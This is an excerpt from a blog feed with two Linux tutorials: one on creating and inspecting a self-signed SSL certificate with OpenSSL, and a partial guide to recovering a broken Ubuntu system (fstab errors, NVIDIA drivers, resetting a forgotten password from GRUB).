
&lt;p&gt;A command-line tool for certificate generation, signing, and verification.&lt;/p&gt;

&lt;p&gt;A C library that provides cryptographic functions&lt;br&gt;
 (hashing, RSA, AES, etc.)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Finnnf0al2u3cwshnm0gw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Finnnf0al2u3cwshnm0gw.png" alt="OpenSSL logo banner for encryption and SSL certificates guide" width="800" height="367"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can check if OpenSSL is installed by running:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;openssl version&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3h9u6rbn3v4ug8bxo0fl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3h9u6rbn3v4ug8bxo0fl.png" alt="Linux terminal displaying output of 'openssl version' command" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If it’s missing, install it (on Ubuntu/Debian):&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo apt update&lt;br&gt;
sudo apt install openssl&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Creating Your Own SSL Certificate
&lt;/h2&gt;

&lt;p&gt;Let’s walk through the steps to create a &lt;strong&gt;self-signed&lt;/strong&gt; SSL certificate using &lt;a href="https://www.openssl.org" rel="noopener noreferrer"&gt;OpenSSL&lt;/a&gt;  &lt;/p&gt;


&lt;h2&gt;
  
  
  Step 1️⃣ : Generate a Private Key
&lt;/h2&gt;

&lt;p&gt;🟣 you are generating your private key, one of the most important parts of SSL/TLS encryption.&lt;br&gt;
Let’s break it down&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;openssl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calls the OpenSSL command-line tool.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;genrsa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tells OpenSSL to generate an RSA key pair (based on the RSA algorithm).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-out server.key&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Saves the generated private key to a file named &lt;code&gt;server.key&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2048&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The key length in bits — a longer key means stronger encryption (2048 is standard).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;🔑 What Is a Private Key?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A private key is a secret cryptographic key used to:&lt;/p&gt;

&lt;p&gt;Decrypt data encrypted with its public key&lt;/p&gt;

&lt;p&gt;Prove your server’s identity during SSL/TLS handshakes&lt;/p&gt;

&lt;p&gt;Sign digital certificates or messages&lt;/p&gt;

&lt;p&gt;It must never be shared or exposed publicly.&lt;br&gt;
If your private key is leaked, attackers can impersonate your website or decrypt sensitive data&lt;/p&gt;

&lt;p&gt;This command generates a 2048-bit RSA private key and saves it as server.key&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openssl genrsa -out server.key 2048
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feniaa90uormwisejtw5j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feniaa90uormwisejtw5j.png" alt="Generating a private key with OpenSSL in Linux terminal" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmv97pkltf6soc1vy9jij.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmv97pkltf6soc1vy9jij.png" alt="Viewing SSL certificate details using OpenSSL command line" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2️⃣ : Create a Certificate Signing Request (CSR)
&lt;/h2&gt;

&lt;p&gt;🟣 After generating your private key, the next step is to create a Certificate Signing Request (CSR).&lt;br&gt;
This request is like your website’s digital ID card — it contains your domain name and organization details, which will be verified before a certificate is issued&lt;/p&gt;

&lt;p&gt;Run the command below:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;openssl req -new -key server.key -out server.csr&lt;/code&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;openssl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calls the OpenSSL toolkit.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;req&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tells OpenSSL to manage certificate requests.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-new&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Creates a new CSR file.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-key server.key&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses your previously generated private key (&lt;code&gt;server.key&lt;/code&gt;) to sign the request.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-out server.csr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Saves the certificate request as &lt;code&gt;server.csr&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;📝 &lt;strong&gt;What’s Inside a CSR?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;⚙️ Example Interactive Prompts&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You’ll be asked a few questions like&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Country Name&lt;/strong&gt; (e.g., US)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;State or Province Name&lt;/strong&gt; (full name)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Locality Name&lt;/strong&gt; (eg, city)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organization Name&lt;/strong&gt; (e.g., example)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organizational Unit Name&lt;/strong&gt; (eg, section)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common Name&lt;/strong&gt; (domain name, e.g., example.com)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Email Address&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F453thiyw4pb1au86yvqm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F453thiyw4pb1au86yvqm.png" alt="Creating a Certificate Signing Request (CSR) using OpenSSL in Linux terminal" width="800" height="585"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkb46z39d67xhdwszjhv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkb46z39d67xhdwszjhv.png" alt="Viewing CSR details generated by OpenSSL command line" width="800" height="585"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3️⃣ : Create a &lt;strong&gt;Self-Signed&lt;/strong&gt; Certificate
&lt;/h2&gt;

&lt;p&gt;🟣 Now that you have a CSR and a private key, it’s time to generate an SSL certificate.&lt;br&gt;
Normally, a Certificate Authority (CA) signs this request, but for testing or internal projects, you can self-sign it using your own private key&lt;/p&gt;

&lt;p&gt;Run the command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This command signs your CSR with your private key and produces a certificate valid for one year&lt;/p&gt;

&lt;p&gt;🧠 What This Command Does:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;openssl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calls the OpenSSL toolkit.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;x509&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Specifies that we’re working with X.509 certificates (the standard format for SSL/TLS).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-req&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads the CSR file you generated earlier.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-days 365&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sets the certificate’s validity to 365 days (1 year).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-in server.csr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The CSR file to be signed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-signkey server.key&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses your private key to sign the certificate.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-out server.crt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Saves the resulting certificate as &lt;code&gt;server.crt&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw8jyn3w6zzznoh069bt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw8jyn3w6zzznoh069bt.png" alt="Creating a self-signed certificate with OpenSSL in Linux terminal" width="800" height="159"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🔐 What Is a &lt;strong&gt;Self-Signed&lt;/strong&gt; Certificate?
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;self-signed&lt;/strong&gt; certificate means you act as your own Certificate Authority — you’re both the signer and the owner.&lt;br&gt;
It’s useful for:&lt;/p&gt;

&lt;p&gt;Local development and testing (HTTPS on localhost)&lt;/p&gt;

&lt;p&gt;Internal servers or private networks&lt;/p&gt;

&lt;p&gt;Educational or demo purposes&lt;/p&gt;

&lt;p&gt;⚠️ Browsers will show a warning for &lt;strong&gt;self-signed&lt;/strong&gt; certificates because they’re not trusted by public authorities — but they still encrypt your traffic&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🧩 Result&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After running the command, you’ll have three important files&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server.key&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Your private key (keep it secret).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server.csr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The certificate request you created earlier.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;server.crt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The final SSL certificate signed with your private key.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;These files together allow you to enable HTTPS locally or on a test server using your self-signed certificate.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 4️⃣ : Verify the Certificate
&lt;/h2&gt;

&lt;p&gt;🟣 Once your certificate is generated, it’s a good idea to inspect it and confirm that everything looks correct.&lt;br&gt;
OpenSSL lets you view detailed information about your certificate, including its validity, issuer, and public key&lt;/p&gt;

&lt;p&gt;Run the command: &lt;/p&gt;

&lt;p&gt;&lt;code&gt;openssl x509 -in server.crt -text -noout&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk2o7ccd6knj3guxwrm0f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk2o7ccd6knj3guxwrm0f.png" alt="Inspecting SSL certificate details using OpenSSL x509 command in Linux terminal" width="800" height="598"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🧠 What This Command Does&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;openssl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calls the OpenSSL tool.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;x509&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Indicates that we’re working with an X.509 certificate.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-in server.crt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Specifies the certificate file you want to inspect.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-text&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Displays the certificate details in readable text format.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-noout&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hides the encoded (base64) version to keep output clean.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This confirms your certificate’s validity period, subject, and encryption details  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;✅ Tip&lt;/strong&gt;&lt;br&gt;
If you want to check expiration date only:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;openssl x509 -enddate -noout -in server.crt&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Combining Key and Certificate for Nginx/Apache&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For easier deployment:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cat server.crt server.key &amp;gt; fullchain.pem&lt;/code&gt;&lt;/p&gt;




&lt;p&gt;. Conclusion&lt;/p&gt;

&lt;p&gt;In this article, we explored how encryption secures communication, what SSL/TLS does, and how to generate your own certificates using &lt;a href="https://www.openssl.org" rel="noopener noreferrer"&gt;OpenSSL&lt;/a&gt; —  a must-have skill for every security-focused developer&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fok2bv4fnbyvfojm234xw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fok2bv4fnbyvfojm234xw.png" alt="Browser banner showing secure HTTPS connection confirmation in Firefox" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Article by &lt;a href="https://afringan.com" rel="noopener noreferrer"&gt;Farzan Afringan&lt;/a&gt; 🎖️ — IT Engineer &amp;amp; Programmer passionate about web security, encryption, and open-source tools.&lt;/em&gt;&lt;/p&gt;







&lt;h3&gt;
  
  
  🔗 Further Reading
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.openssl.org/docs/" rel="noopener noreferrer"&gt;OpenSSL Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://knowledge.digicert.com/general-information/openssl-quick-reference-guide" rel="noopener noreferrer"&gt;DigiCert: OpenSSL Quick Reference Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;blockquote&gt;
&lt;p&gt;If you found this guide helpful, drop a comment below or share your OpenSSL experience!&lt;/p&gt;
&lt;/blockquote&gt;




</description>
      <category>openssl</category>
      <category>encryption</category>
      <category>tutorial</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>#How to Rescue a Broken Ubuntu System</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Tue, 23 Sep 2025 00:03:51 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/how-to-rescue-a-broken-ubuntu-system-53b2</link>
      <guid>https://dev.to/farzandevlucky/how-to-rescue-a-broken-ubuntu-system-53b2</guid>
      <description>&lt;p&gt;When your Ubuntu system fails to boot or gets stuck on a black screen, it can feel like a free fall from a tower. Panic sets in — but don’t worry. Ubuntu almost always has a way back if you know the right steps. This guide provides practical solutions to common boot failures and a ready-made &lt;strong&gt;Ubuntu Survival Kit&lt;/strong&gt; to prepare for the future.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Disaster Scenarios
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Broken fstab
&lt;/h3&gt;

&lt;p&gt;A misconfigured &lt;code&gt;/etc/fstab&lt;/code&gt; file can prevent the system from booting, dropping you into &lt;strong&gt;emergency mode&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Symptoms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;System hangs during boot.&lt;/li&gt;
&lt;li&gt;Error messages referencing &lt;code&gt;fstab&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. NVIDIA Driver / Graphics Issues
&lt;/h3&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fshx8sd24d1ysgd85gpx2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fshx8sd24d1ysgd85gpx2.png" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;br&gt;
   &lt;/p&gt;

&lt;p&gt;NVIDIA drivers are a common cause of black screens or failing to reach the desktop environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Symptoms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Black screen after GRUB.&lt;/li&gt;
&lt;li&gt;Only TTY (Ctrl+Alt+F3) login works.&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;
  
  
  3. Forgotten Password
&lt;/h3&gt;

&lt;p&gt;If you forget your login password, Ubuntu will not let you in — but you can reset it from GRUB.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Symptoms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Login prompt rejects password.&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;
  
  
  4. Disk or SSD Errors
&lt;/h3&gt;

&lt;p&gt;Hardware issues can mimic software problems. Checking drive health ensures the problem isn’t physical.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Symptoms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Random freezes or crashes.&lt;/li&gt;
&lt;li&gt;Slow boot or I/O errors.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Before You Start: Boot Options
&lt;/h2&gt;

&lt;p&gt;If your Ubuntu doesn’t reach the desktop, you have two main ways to gain access:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Try TTY Console&lt;/strong&gt;: Press &lt;code&gt;Ctrl + Alt + F3&lt;/code&gt; to switch into a text login. From there you can run commands and start fixing issues.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use a Live USB (Recommended if TTY fails)&lt;/strong&gt;: Boot from a USB stick with Ubuntu and choose &lt;strong&gt;“Try Ubuntu without installing”&lt;/strong&gt;. This provides a safe desktop environment to access your files, edit configs (like &lt;code&gt;/etc/fstab&lt;/code&gt;), or reinstall GPU drivers from outside the broken system.
   &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F52ikhvu04w5pl36t4etd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F52ikhvu04w5pl36t4etd.png" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;p&gt;💡 Think of a Live USB as handing your Ubuntu a fresh pair of eyes — it can “see” and fix things when your installed system is blind.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step-by-Step Fixes
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Fixing fstab Safely
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Boot into recovery or emergency mode.&lt;/li&gt;
&lt;li&gt;Switch to a shell (Ctrl+Alt+F3).&lt;/li&gt;
&lt;li&gt;Edit the fstab file:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/fstab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Comment out suspicious lines (add &lt;code&gt;#&lt;/code&gt; at the beginning).&lt;/li&gt;
&lt;li&gt;Always test changes before reboot:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;mount &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If no errors appear, reboot safely.&lt;/p&gt;


&lt;h3&gt;
  
  
  Recovering from Black Screen (NVIDIA)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Switch to TTY: &lt;code&gt;Ctrl+Alt+F3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Restart the display manager:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart gdm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;If it fails, remove NVIDIA drivers:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt purge nvidia&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt;
   &lt;span class="nb"&gt;sudo &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Reinstall recommended drivers:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;ubuntu-drivers autoinstall
   &lt;span class="nb"&gt;sudo &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Resetting Forgotten Password
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;At GRUB, press &lt;strong&gt;e&lt;/strong&gt; to edit the boot entry.&lt;/li&gt;
&lt;li&gt;Find the line starting with &lt;code&gt;linux&lt;/code&gt; and append:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   rw init=/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Press &lt;strong&gt;Ctrl+X&lt;/strong&gt; or &lt;strong&gt;F10&lt;/strong&gt; to boot.&lt;/li&gt;
&lt;li&gt;Remount root as read-write:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   mount &lt;span class="nt"&gt;-o&lt;/span&gt; remount,rw /
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Reset your password:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   passwd your_username
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Reboot:
&lt;/li&gt;
&lt;/ol&gt;
